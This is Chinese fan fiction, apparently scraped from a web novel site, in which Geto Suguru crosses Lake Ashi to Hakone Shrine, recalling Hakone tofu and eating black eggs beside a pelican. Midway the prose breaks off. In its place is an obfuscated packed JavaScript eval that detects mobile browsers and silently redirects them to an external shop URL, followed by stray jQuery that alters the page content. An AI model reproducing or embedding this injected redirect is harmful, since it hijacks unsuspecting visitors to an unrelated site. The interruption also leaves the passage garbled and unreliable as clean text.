1.
【箱根的豆腐料理尝起来确实不错,或黑或黄、长着毛的豆腐们不仅有着豆类本身的醇香更因为发酵而蕴含着一股特殊的刺鼻香味。】
当然,虽然美食评论家们是这么异口同声的,但仍然有很大一部分人觉得那就是股恶心的腐朽的臭豆腥味儿。
而这些讨厌箱根豆腐的人曾经就包括了小时候尝试过一次这东西的夏油杰——
“你问我第一次来箱根是什么时候吗?”
2007年10月25日,夜晚9点,芦之湖上,如果有人用望远镜远眺那他或她或它就能看见富士山下箱根芦之湖中有一艘小船无风自动。
仔细看去。
那艘船上有一位身穿五条袈裟、疑似是僧人的黑发男人靠在船头,与此同时他一边轻轻抚摸着船头单脚站立的鹈鹕、一边自言自语道:
“大概5岁吧……”顿了一下后他肯定的对鹈鹕说道,“对,是5岁。”
5岁,1995年,在夏油杰5岁觉醒了术式的那年——
为了拯救他们因为那被咒灵缠上而高烧不止的孩子,夏油夫妇举家从岩手县北上市搬去了大城市东京都,接着又不停地拜访各大医院。
而就在他们一次又一次的无功而返后……看着医生们因为无能为力而摊开的双手;看着满脸通红抱着自己脖颈睡觉的孩子……
夏油夫妇最后还是在大学同学的建议下选择了来【箱根神社】参拜碰碰运气,而夏油杰也正是在那次箱根之行中尝到了那种箱根特色豆腐的滋味。
【铃……铃……铃……】
【——尊敬的开运之神,求求您救救我们的孩子吧,我们愿意永生永世供奉您、我们愿意为此付出我们的一切!】
男人女人熟悉又陌生的祈祷声还在他耳旁回荡,时近时远,迟迟不散。
【——那是灾难,就像下水道的腥味道一样恶心、刺鼻,令人作呕……同时我又无法不因此发自内心的产生那对未知之物的恐惧。
我当然是在指箱根豆腐。】
当夏油杰这样子回忆时,船也继续向北方箱根神社的方向飘去。
不过虽说名为芦之湖的湖泊中并没有长着芦苇和杂草、这里的湖水也清澈的可以在白日映照出头顶富士山上的皑皑白雪,但夏油杰的想法也的的确确是认真的。
真的。
因为至少在当时年仅5岁的夏油杰看来发酵的毛豆腐真的就已经是世界上最令人作呕的食物了,就连带刺的榴莲比其都要稍逊一筹!
毕竟榴莲至少都还有香甜味呢,而箱根豆腐却只是又酸又臭又咸!
当然了,实话实说,因为榴莲很贵所以其实夏油杰在吃过一次、认定自己不喜欢这些后就再也没有去尝试过榴莲和毛豆腐了……
所以他对箱根豆腐还有榴莲“难吃的要死”的评价得来的非常轻易——
这评价只是基于他的一次失败尝试、单方面的感受罢了。
而夏油杰当时的这种幼稚的看法究竟维持了多久呢?也没多久,因为咒灵。
他对箱根豆腐天真而浅薄的厌恶仅仅只维持到了他后来真的尝试过那种味道、那种宛如擦过呕吐物的抹布味前——
【他错了。】
【他错了,他承认自己错了,错的彻彻底底,明明诅咒的味道才是世界上最糟糕、最令人觉得恶心的味道!!!!】
【是的,恶心。】
【啊……糟糕。】
无论多少次、无论多少次多少次多少次、多少多少、多少次啊……
哪怕已经可以在所有人面前面无表情的、甚至是微笑着吞下咒灵球,但夏油杰却仍然始终无法克服那种恶心想吐的感觉以及呕吐反射带来的大量唾液分泌。
所以他能做的便只有缩着舌头咬紧牙关将一切咽进肚子里、忍耐……忍耐、忍耐,以及假装无事发生。
——嚼嚼嚼。
“咕嘟。”
剥开黑如碳的蛋壳,喉结耸动,食物伴随着唾液咽下,但夏油杰却并不是在吃饭——
因为没有享受,所以他只是在为了维持生命体征而进食。
“所以鹈鹕君,你说为什么同样的东西500日元4个的黑鸡蛋销量却好的多呢,人们总是前仆后继……”
“好吧,前仆后继这个词并不合适用在这里,但让我暂时就这样用吧,鹈鹕君。”
一丝带着夜晚凉意的风吹起了他耳旁的水汽,夏油杰继续对听不懂人话的鹈鹕说着些什么。
“为什么人们总是前仆后继的花更多钱在只有躯壳颜色不同一点的鸡蛋上呢?总不会是真有人信了箱根为了旅游业而搞出来的延寿传说吧?”
“那么他们这样做究竟是为了什么呢?”
“——没有意义。”
“黑玉子”,也就是黑鸡蛋,它是和豆腐、荞麦面还有温泉馒头一样的箱根特产。
椭圆的鸡蛋外壳黑的像焦炭一样,剥开后里面却白净、无论是味道还是营养价值都和其他所有普通的鸡蛋没有区别。
而因为要来神奈川县箱根市,那个大名鼎鼎的横滨周围的城市。
又因为没吃东西;因为即使不讨厌了也依然喜欢不起来箱根豆腐……所以这次来到箱根的夏油杰顺路买了4个“黑鸡蛋”填肚子维持生命体质。
那是传说与芦之湖诞生原因相同的——都是因为火山和温泉而诞生的——特产“黑鸡蛋”。
黑色蛋壳的鸡蛋。
明明只是因为温泉里的硫磺而变成黑壳的鸡蛋却在当地旅游业推动下变成了被神明赐福过的、吃一个可以延寿7年的“黑玉子”。
“味道和普通鸡蛋一样嘛。”
语气柔和,夏油杰的结论却下的斩钉截铁,因为就算声名远扬、但黑鸡蛋和普通鸡蛋对于他而言一样都是难以下咽的食物——
当然,这不是鸡蛋的问题,毕竟即使是名不副实的昂贵鸡蛋终究也还是鸡蛋。
会出现这种情况只是因为名为夏油杰的前特级咒术师、现最恶诅咒师的味觉在夜以继日收服咒灵的过程中已经溃烂的差不多了罢了。
干嚼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547787|142578||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
塑料,对夏油杰而言吃鸡蛋的感受大致不过如此。
好在他已经习惯了。
【不过我记得普通鸡蛋的价格好像是10个220日元左右?】
一边靠在船上看着湖上泛起的微光,夏油杰一边抚摸着鹈鹕这样想到。
然后——
“到了。”
抬头看向箱根神社那出名的“水鸟居”,夏油杰掸了掸衣袖站起、抬起左手收回了为船只提供动力的无偿劳工咒灵们。
虽然对他而言诅咒是世界上最令人厌恶的、味道最糟糕的东西,诅咒在他这儿的厌恶排名也甚至还在猴子之上,但有时……
只是有时,夏油杰也会感谢咒灵给他带来的便利。
无论是战斗、家务还是种田……不会诉苦、不用工资、不会累的咒灵在拥有【咒灵操术】这个“生得术式”的夏油杰手中都是再趁手不过的工具了。
所以他会忍着一切不适去不断收服新咒灵。
而如果硬要说咒灵作为工具唯一不好的地方,那应该就是夏油杰有时坐在咒灵身上飞的模样会像今晚无人划船却自己飘动的小舟一样像是在闹鬼。
【像是在闹鬼。】
闹鬼。
“噗。”
【“喂喂喂,杰,你说你那些咒灵战斗的时候非术师看见的不就是敌人在被空气暴揍嘛!”
“好像闹鬼啊~”】
想到这,突然被戳中了莫名的笑点的夏油杰笑出了声,但他又立马收回了微微勾起的嘴角变回一副肃穆的模样。
收回思绪。
已经起身、确定了自己衣着得体了的夏油杰面无表情的对龟腹陷在水中的红色明神门鸟居轻轻鞠了一躬,接着就大步跨过船舷向神社走去。
“啪。”
“哦,对了!”
“——差点忘了你了,鹈鹕先生,再陪我走一段路吧,就一小段,我想想……嗯,就是从手水舍到拜殿这段路就够了。”
双手一拍。
想起什么的夏油杰笑了笑、扭头将继续呆呆站在船头的鹈鹕拎起放在自己左手臂上。
然后他就一边走一边用右手大拇指和食指指尖一下下的琢磨着鹈鹕羽毛尖段——
鹈鹕洁白羽毛的尖段是黑色的,而夏油杰的指尖是肉色的,剪得很短、半透明的指甲就这么圆润的紧贴着他的食指指尖。
再然后缺钱、缺人手、缺咒灵到自己从东京都跑来神奈川县箱根市的新任盘星教教主就吝啬的、不愿付出一个“黑玉子”作为伙食费的强行带上了他的话搭子鹈鹕君向神社内部走去。
“至于剩下的黑色鸡蛋……就留给菜菜子美美子她们玩吧。”
“她们应该会喜欢吧?毕竟很少见。”
鸟居,结界的一种。
像是没有门板、只有门框的巨型红色大门。
——一步神域,一步人间。
大步跨过连接神明所住之所与人间居住俗世的水上鸟居,义无反顾的,夏油杰只在芦之湖上映出了红色鸟居前不愿回头的黑色背影。